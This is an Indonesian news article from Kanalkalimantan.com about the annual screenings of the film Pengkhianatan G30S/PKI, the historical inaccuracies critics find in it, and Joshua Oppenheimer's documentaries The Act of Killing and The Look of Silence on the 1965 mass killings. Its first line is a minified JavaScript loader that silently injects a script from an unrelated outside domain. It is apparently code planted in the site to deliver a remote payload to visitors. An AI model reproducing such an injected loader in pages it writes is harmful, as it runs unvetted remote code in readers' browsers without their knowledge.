(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU– Sejumlah stasiun televisi yang mulai menayangkan film Pengkhianatan G30S/PKI tiap akhir September. Tidak hanya stasiun televisi, ajakan untuk menonton film tersebut juga datang dari beberapa organisasi kemasyarakatan dan kelompok-kelompok tertentu.
Dilansir dari berbagai sumber, beberapa kelompok menganggap bahwa kegiatan menonton film Pengkhianatan G30S/PKI merupakan upaya merawat ingatan dan tindakan preventif untuk mencegah kebangkitan komunisme di Indonesia.
Namun film tersebut memiliki beberapa kesalahan data dalam hal menceritakan ulang peristiwa G30 S.
Wijaya Herlambang, dalam bukunya yang berjudul Kekerasan Budaya Pasca 1965, mengungkapkan bahwa banyak aspek penggambaran karakter yang kurang tepat dalam film tersebut. Misalnya, tokoh Ketua PKI, D.N. Aidit digambarkan sebagai perokok berat. Faktanya, Aidit adalah orang yang sangat membenci perokok.
Baca juga : TOK! PTUN Banjarmasin Menangkan Gugatan Class Action Korban Banjir Kalsel!
Sebagaimana dilansir tempo.co, Fakta-fakta lain terkait dengan penggambaran Peristiwa 30 September 1965 juga tidak diceritakan dalam film tersebut. Salah satunya adalah pembunuhan massal terhadap para tertuduh simpatisan PKI. Hal tersebut digambarkan dalam dua film lain, yakni:
Jagal (The Act of Killing)
Film yang disutradarai oleh Joshua Oppenheimer ini menceritakan mengenai pembunuhan massal tertuduh simpatisan PKI di Medan, Sumatra Utara. Tidak tanggung-tanggung, film ini diperankan oleh Anwar Congo, seorang preman bioskop yang juga algojo pembunuh simpatisan PKI.
Dalam film tersebut, Anwar bersama dengan teman-temannya, yang juga merupakan algojo, memainkan reka ulang adegan pembunuhan terhadap para simpatisan PKI dengan sangat detail. Dilansir dari Majalah Tempo, Joshua Oppenheimer mengungkapkan bahwa berbagai adegan yang dilakukan oleh Anwar dan teman-temannya merupakan hal yang benar-benar pernah mereka lakukan.
Senyap (The Look of Silence)
Sama seperti “Jagal (The Act of Killing)”, “Senyap (The Look of Silence)” juga disutradarai oleh Joshua Oppenheimer. Bedanya, film ini mengambil perspektif korban dan keluarga korban pembantaian massal tersebut. Film ini mengambil perspektif Adi Rukun, seseorang yang keluarganya merupakan korban tragedi ’65. Dalam film ini, Adi akan bertemu dengan banyak aktor yang terlibat dalam tragedi ’65 untuk mencari keadilan.
Baca juga : Dikira Tidur, Seorang Pria Ditemukan Meninggal di Rumah Sewaan Jl Sungai Miai Banjarmasin
Dua film tentang PKI tersebut bisa dibilang cukup jarang diketahui. Masyarakat masih lebih mengenal trilogi film tentang G30S dari Arifin C. Noer. Dilansir dari minikino.org, kedua film tersebut sama-sama berupaya untuk mewujudkan rekonsiliasi dan mengungkap fakta di balik kasus genosida di Indonesia setelah kejadian G30S. (Kanalkalimantan.com/kk)
Reporter : kk
Editor : cell
KANALKALIMANTAN.COM, BANJABARU - Liburan Natal dan Tahun Baru menjadi waktu yang tepat untuk rehat diri… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Memastikan keamanan umat kristiani melaksanakan ibadat Natal 2024, kepolisian melakukan strelisasi gereja-gereja… Read More
KANALKALIMANTAN.COM, BANJARBARU - Absen pada sidang perdana di Pengadilan Negeri (PN) Banjarbaru, pihak tergugat Komisi… Read More
KANALKALIMANTAN.COM - Setelah sukses menggebrak dengan promo spektakuler di HUT BRI ke-129, kini BRI kembali… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menyerahkan bantuan alat dan mesin pertanian, di Mahligai Sultan… Read More
Tiga Mobil Pribadi dan Satu Motor Kena Imbas, Sopir Akui Rem Tak Normal Read More
This website uses cookies.